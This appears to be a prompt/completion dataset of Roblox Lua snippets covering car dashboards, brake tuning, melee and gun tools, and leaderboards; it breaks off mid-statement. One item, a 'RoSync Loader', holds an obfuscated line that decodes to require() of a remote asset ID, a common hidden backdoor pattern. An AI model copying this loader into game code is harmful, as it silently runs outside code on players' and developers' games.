prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") local car = script.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local revEnd = math.ceil(_lRPM/1000) local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil local maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) local spInc = math.max(math.ceil(maxSpeed/200)*20,20) if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speed.Text = math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " SPS" end)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1800 -- Front brake force Tune.RBrakeForce = 2000 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--// JAFTERGAMERTV \\--
script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks. if script.Parent.Parent.Box1.Visible == false then -- This tells wither it is open or not. script.Parent.Text = " " -- Tells us that it is open. script.Parent.Parent.Box1.Visible = true -- Makes the box visible. else -- Otherwise script.Parent.Text = "Account" -- Tells us that it is closed. script.Parent.Parent.Box1.Visible = false -- Makes the box Invisible end -- Ends the If statement. end) -- Ends the function in general.
--Hand
character.Constraint.ConstraintHand.Attachment1 = RHR character.Constraint.ConstraintHand.Attachment0 = RHL
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create DamageValues = { BaseDamage = 20, SlashDamage = 35, } Damage = DamageValues.BaseDamage BaseUrl = "http://www.roblox.com/asset/?id=" BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false Animations = { LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, } Sounds = { Unsheath = Handle:WaitForChild("Unsheath"), Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), } ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Handle.Transparency = 0 Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function DealDamage(character, damage) if not CheckIfAlive() or not character then return end local damage = (damage or 0) local humanoid = character:FindFirstChild("Humanoid") local rootpart = character:FindFirstChild("HumanoidRootPart") if not rootpart then rootpart = character:FindFirstChild("Torso") end if not humanoid or humanoid.Health == 0 or not rootpart then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) if humanoid.Parent.Side.Value == "Enemy" then humanoid:TakeDamage(damage) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Blow(Part) local PartTouched local HitDelay = false PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then return end local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")) if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso")) if not humanoid or humanoid.Health == 0 or not rootpart then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end HitDelay = true local TotalDamage = Damage DealDamage(character, TotalDamage) wait(0.05) HitDelay = false end) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() --[[local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", } Debris:AddItem(Anim, 2) Anim.Parent = Tool]] local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe}) or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe})) local Animation = SwingAnimations[math.random(1, #SwingAnimations)] Spawn(function() InvokeClient("PlayAnimation", Animation) end) wait(Animation.Duration) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false Attack() Damage = DamageValues.BaseDamage Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false) end holdanim = nil function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") holdanim = Humanoid:LoadAnimation(script.Parent.Hold) if not CheckIfAlive() then return end Sounds.Unsheath:Play() holdanim:Play() ToolEquipped = true end function Unequipped() Humanoid.WalkSpeed = 16 ToolEquipped = false holdanim:Stop() end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle)
---ex2---
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 1 script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 1 script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 1 script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 1 script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 1 script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 1
--[[ Creates a Symbol with the given name. When printed or coerced to a string, the symbol will turn into the string given as its name. ]]
function Symbol.named(name) assert(type(name) == "string", "Symbols must be created using a string name!") local self = newproxy(true) local wrappedName = string.format("Symbol(%s)", name) getmetatable(self).__tostring = function() return wrappedName end return self end return Symbol
--[[ Last synced 3/9/2021 04:43 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--/Sight
module.SightZoom = 5 -- Set to 0 if you want to use weapon's default zoom module.SightZoom2 = 0 --Set this to alternative zoom or Aimpart2 Zoom
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function WeldTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableFocusHighlighting(); end; function WeldTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- Hook up the buttons UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds); UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds); -- Hook up manual triggering local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(WeldTool.ManualText, WeldTool.Color.Color, SignatureButton) end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; end;
--(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to "math.pi/number." Make sure the number ISN'T 0.
end --Ends the "while true do"
--made by Bertox --lul
script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function() if script.Parent.Parent.Parent.Parent.Electrics.Value == true then script.Parent.Material = Enum.Material.Neon else script.Parent.Material = Enum.Material.SmoothPlastic end end)
--local TEAM = Character:WaitForChild("TEAM")
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet") local Module = require(Tool:WaitForChild("Setting")) local GunScript_Server = Tool:WaitForChild("GunScript_Server") local ChangeAmmoAndClip = GunScript_Server:WaitForChild("ChangeAmmoAndClip") local InflictTarget = GunScript_Server:WaitForChild("InflictTarget") local AmmoValue = GunScript_Server:WaitForChild("Ammo") local ClipsValue = GunScript_Server:WaitForChild("Clips") local GUI = script:WaitForChild("GunGUI") local IdleAnim local FireAnim local ReloadAnim local ShotgunClipinAnim local Grip2 local Handle2 local HandleToFire = Handle if Module.DualEnabled then Handle2 = Tool:WaitForChild("Handle2",2) if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end end local Equipped = false local Enabled = true local Down = false local Reloading = false local AimDown = false local Ammo = AmmoValue.Value local Clips = ClipsValue.Value local MaxClip = Module.MaxClip local PiercedHumanoid = {} if Module.IdleAnimationID ~= nil or Module.DualEnabled then IdleAnim = Tool:WaitForChild("IdleAnim") IdleAnim = Humanoid:LoadAnimation(IdleAnim) end if Module.FireAnimationID ~= nil then FireAnim = Tool:WaitForChild("FireAnim") FireAnim = Humanoid:LoadAnimation(FireAnim) end if Module.ReloadAnimationID ~= nil then ReloadAnim = Tool:WaitForChild("ReloadAnim") ReloadAnim = Humanoid:LoadAnimation(ReloadAnim) end if Module.ShotgunClipinAnimationID ~= nil then ShotgunClipinAnim = Tool:WaitForChild("ShotgunClipinAnim") ShotgunClipinAnim = Humanoid:LoadAnimation(ShotgunClipinAnim) end function wait(TimeToWait) if TimeToWait ~= nil then local TotalTime = 0 TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() while TotalTime < TimeToWait do TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() end else game:GetService("RunService").Heartbeat:wait() end end function RayCast(Start,Direction,Range,Ignore) local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(Start,Direction*Range),Ignore) if Hit then if (Hit.Transparency > 0.75 or Hit.Name == "Handle" or Hit.Name == "Effect" or Hit.Name == "Bullet" or Hit.Name == "Laser" or string.lower(Hit.Name) == "water" or Hit.Name == "Rail" or Hit.Name == "Arrow" or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent.Humanoid.Health == 0) or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent:FindFirstChild("TEAM") and TEAM and Hit.Parent.TEAM.Value == TEAM.Value)) or (Hit.Parent:FindFirstChild("Humanoid") and PiercedHumanoid[Hit.Parent.Humanoid]) then Hit,EndPos = RayCast(EndPos+(Direction*.01),Direction,Range-((Start-EndPos).magnitude),Ignore) end end return Hit,EndPos end function ShakeCamera() if Module.CameraShakingEnabled then local Intensity = Module.Intensity/(AimDown and Module.MouseSensitive or 1) for i = 1, 10 do local cam_rot = Camera.CoordinateFrame - Camera.CoordinateFrame.p local cam_scroll = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude local ncf = CFrame.new(Camera.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ((-Intensity+(math.random()*(Intensity*2)))/100, (-Intensity+(math.random()*(Intensity*2)))/100, 0) Camera.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll) wait() end end end function Fire(ShootingHandle) local PierceAvailable = Module.Piercing PiercedHumanoid = {} if FireAnim then FireAnim:Play(nil,nil,Module.FireAnimationSpeed) end if not ShootingHandle.FireSound.Playing or not ShootingHandle.FireSound.Looped then ShootingHandle.FireSound:Play() script.Parent.Model.casing:FireServer() end local Start = (Humanoid.Torso.CFrame * CFrame.new(0,1.5,0)).p--(Handle.CFrame * CFrame.new(Module.MuzzleOffset.X,Module.MuzzleOffset.Y,Module.MuzzleOffset.Z)).p local Spread = Module.Spread*(AimDown and 1-Module.SpreadRedution or 1) local Direction = (CFrame.new(Start,Mouse.Hit.p) * CFrame.Angles(math.rad(-Spread+(math.random()*(Spread*2))),math.rad(-Spread+(math.random()*(Spread*2))),0)).lookVector while PierceAvailable >= 0 do local Hit,EndPos = RayCast(Start,Direction,5000,Character) if not Module.ExplosiveEnabled then if Hit and Hit.Parent then local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid") local TargetTorso = Hit.Parent:FindFirstChild("Humanoid") --local TargetTEAM = Hit.Parent:FindFirstChild("TEAM") if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then --if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then InflictTarget:FireServer(TargetHumanoid, TargetTorso, (Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage, Direction, Module.Knockback, Module.Lifesteal, Module.FlamingBullet) PiercedHumanoid[TargetHumanoid] = true --end else PierceAvailable = 0 end end else local Explosion = Instance.new("Explosion") Explosion.BlastRadius = Module.Radius Explosion.BlastPressure = 0 Explosion.Position = EndPos Explosion.Parent = Workspace.CurrentCamera Explosion.Hit:connect(function(Hit) if Hit and Hit.Parent and Hit.Name == "Torso" then local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid") local TargetTorso = Hit.Parent:FindFirstChild("Torso") --local TargetTEAM = Hit.Parent:FindFirstChild("TEAM") if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then --if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then InflictTarget:FireServer(TargetHumanoid, TargetTorso, (Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage, Direction, Module.Knockback, Module.Lifesteal, Module.FlamingBullet) --end end end end) PierceAvailable = 0 end PierceAvailable = Hit and (PierceAvailable - 1) or -1 script.Parent.BulletVisualizerScript.Visualize:Fire(nil,ShootingHandle, Module.MuzzleOffset, EndPos, script.MuzzleEffect, script.HitEffect, Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)], {Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure}, {Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime}, false, PierceAvailable == -1 and Module.VisualizerEnabled or false) script.Parent.VisualizeBullet:FireServer(ShootingHandle, Module.MuzzleOffset, EndPos, script.MuzzleEffect, script.HitEffect, Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)], {Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure}, {Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime}, true, PierceAvailable == -1 and Module.VisualizerEnabled or false) Start = EndPos + (Direction*0.01) end end function Reload() if Enabled and not Reloading and (Clips > 0 or not Module.LimitedClipEnabled) and Ammo < Module.AmmoPerClip then Reloading = true if AimDown then Workspace.CurrentCamera.FieldOfView = 70 --[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] GUI.Scope.Visible = false game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic script["Mouse Sensitivity"].Disabled = true AimDown = false Mouse.Icon = "rbxassetid://"..Module.MouseIconID end UpdateGUI() if Module.ShotgunReload then for i = 1,(Module.AmmoPerClip - Ammo) do if ShotgunClipinAnim then ShotgunClipinAnim:Play(nil,nil,Module.ShotgunClipinAnimationSpeed) end Handle.ShotgunClipin:Play() wait(Module.ShellClipinSpeed) end end if ReloadAnim then ReloadAnim:Play(nil,nil,Module.ReloadAnimationSpeed) end Handle.ReloadSound:Play() script.Parent.Model.reload:FireServer() wait(Module.ReloadTime) if Module.LimitedClipEnabled then Clips = Clips - 1 end Ammo = Module.AmmoPerClip ChangeAmmoAndClip:FireServer(Ammo,Clips) Reloading = false UpdateGUI() end end function UpdateGUI() GUI.Frame.Ammo.Fill:TweenSizeAndPosition(UDim2.new(Ammo/Module.AmmoPerClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true) GUI.Frame.Clips.Fill:TweenSizeAndPosition(UDim2.new(Clips/Module.MaxClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true) GUI.Frame.Ammo.Current.Text = Ammo GUI.Frame.Ammo.Max.Text = Module.AmmoPerClip GUI.Frame.Clips.Current.Text = Clips GUI.Frame.Clips.Max.Text = Module.MaxClip GUI.Frame.Ammo.Current.Visible = not Reloading GUI.Frame.Ammo.Max.Visible = not Reloading GUI.Frame.Ammo.Frame.Visible = not Reloading GUI.Frame.Ammo.Reloading.Visible = Reloading GUI.Frame.Clips.Current.Visible = not (Clips <= 0) GUI.Frame.Clips.Max.Visible = not (Clips <= 0) GUI.Frame.Clips.Frame.Visible = not (Clips <= 0) GUI.Frame.Clips.NoMoreClip.Visible = (Clips <= 0) GUI.Frame.Clips.Visible = Module.LimitedClipEnabled GUI.Frame.Size = Module.LimitedClipEnabled and UDim2.new(0,250,0,100) or UDim2.new(0,250,0,55) GUI.Frame.Position = Module.LimitedClipEnabled and UDim2.new(1,-260,1,-110)or UDim2.new(1,-260,1,-65) end Mouse.Button1Down:connect(function() Down = true local IsChargedShot = false if Equipped and Enabled and Down and not Reloading and Ammo > 0 and Humanoid.Health > 0 then Enabled = false if Module.ChargedShotEnabled then if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end wait(Module.ChargingTime) IsChargedShot = true end if Module.MinigunEnabled then if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end wait(Module.DelayBeforeFiring) end while Equipped and not Reloading and (Down or IsChargedShot) and Ammo > 0 and Humanoid.Health > 0 do IsChargedShot = false for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do Spawn(ShakeCamera) for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do Fire(HandleToFire) end Ammo = Ammo - 1 ChangeAmmoAndClip:FireServer(Ammo,Clips) UpdateGUI() if Module.BurstFireEnabled then wait(Module.BurstRate) end if Ammo <= 0 then break end end HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle wait(Module.FireRate) if not Module.Auto then break end end if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end if Module.MinigunEnabled then if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end wait(Module.DelayAfterFiring) end Enabled = true if Ammo <= 0 then Reload() end end end) Mouse.Button1Up:connect(function() Down = false end) ChangeAmmoAndClip.OnClientEvent:connect(function(ChangedAmmo,ChangedClips) Ammo = ChangedAmmo Clips = ChangedClips UpdateGUI() end) Tool.Equipped:connect(function(TempMouse) Equipped = true UpdateGUI() if Module.AmmoPerClip ~= math.huge then GUI.Parent = Player.PlayerGui end TempMouse.Icon = "rbxassetid://"..Module.MouseIconID if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end TempMouse.KeyDown:connect(function(Key) if string.lower(Key) == "r" then Reload() elseif string.lower(Key) == "e" then if not Reloading and AimDown == false and Module.SniperEnabled then Workspace.CurrentCamera.FieldOfView = Module.FieldOfView --[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone() GUI.Parent = game.Players.LocalPlayer.PlayerGui]] GUI.Scope.Visible = true game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson script["Mouse Sensitivity"].Disabled = false AimDown = true Mouse.Icon="http://www.roblox.com/asset?id=187746799" else Workspace.CurrentCamera.FieldOfView = 70 --[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] GUI.Scope.Visible = false game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic script["Mouse Sensitivity"].Disabled = true AimDown = false Mouse.Icon = "rbxassetid://"..Module.MouseIconID end end end) if Module.DualEnabled and not Workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") local RightArm = Tool.Parent:FindFirstChild("Right Arm") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() Equipped = false GUI.Parent = script if IdleAnim then IdleAnim:Stop() end if AimDown then Workspace.CurrentCamera.FieldOfView = 70 --[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] GUI.Scope.Visible = false game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic script["Mouse Sensitivity"].Disabled = true AimDown = false Mouse.Icon = "rbxassetid://"..Module.MouseIconID end if Module.DualEnabled and not Workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end) Humanoid.Died:connect(function() Equipped = false GUI.Parent = script if IdleAnim then IdleAnim:Stop() end if AimDown then Workspace.CurrentCamera.FieldOfView = 70 --[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] GUI.Scope.Visible = false game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic script["Mouse Sensitivity"].Disabled = true AimDown = false Mouse.Icon = "rbxassetid://"..Module.MouseIconID end if Module.DualEnabled and not Workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end)
-- [ SETTINGS ] --
local statsName = "Diamonds" -- Your stats name local maxItems = 15 -- Max number of items to be displayed on the leaderboard local minValueDisplay = 1 -- Any numbers lower than this will be excluded local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded local abbreviateValue = false -- The displayed number gets abbreviated to make it "human readable" local updateEvery = 60 -- (in seconds) How often the leaderboard has to update local headingColor = Color3.fromRGB(24, 223, 254) -- The background color of the heading
-------------------------
function onClicked() Car.BodyVelocity.velocity = Vector3.new(0, 2, 0) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--{HPattern, Automatic, DualClutch, CVT}
tri = script.Trigger if script.Parent.Functions.ShiftUpRequested.Value == true then script.RPMManagement.Disabled = false FL.MotorMaxTorque = 0 FR.MotorMaxTorque = 0 RL.MotorMaxTorque = 0 RR.MotorMaxTorque = 0 if script.Parent.Storage.TransmissionType.Value == "HPattern" then end if script.Parent.Storage.TransmissionType.Value == "Automatic" then rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value)) end if script.Parent.Storage.TransmissionType.Value == "DualClutch" then rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value)) end if script.Parent.Storage.TransmissionType.Value == "CVT" then end end if carSeat.Storage.Handbrake.Value == true then FL.MotorMaxTorque = 0 FR.MotorMaxTorque = 0 end if currentgear.Value == 1 then FL.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100) FR.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100) RL.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100)) RR.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100)) FL.AngularVelocity = 0 FR.AngularVelocity = 0 RL.AngularVelocity = 0 RR.AngularVelocity = 0 FL.MotorMaxAcceleration = 30 FR.MotorMaxAcceleration = 30 RL.MotorMaxAcceleration = 30 RR.MotorMaxAcceleration = 30 end if script.Parent.Functions.ShiftDownRequested.Value == true then script.RPMManagement.Disabled = false if script.Parent.Storage.Brake.Value ~= 1 and carSeat.Storage.Handbrake.Value ~= true then FL.MotorMaxTorque = 0 FR.MotorMaxTorque = 0 RL.MotorMaxTorque = 0 RR.MotorMaxTorque = 0 end if script.Parent.Storage.TransmissionType.Value == "HPattern" then end if script.Parent.Storage.TransmissionType.Value == "Automatic" then rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value)) end if script.Parent.Storage.TransmissionType.Value == "DualClutch" then rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value)) end if script.Parent.Storage.TransmissionType.Value == "CVT" then end end if speed < 2 then coast = 0 else coast = 5 end m = (hp.Value / 2155) if rpm.Value < 950/(four/2) then ch = 4 else ch = 1 end if 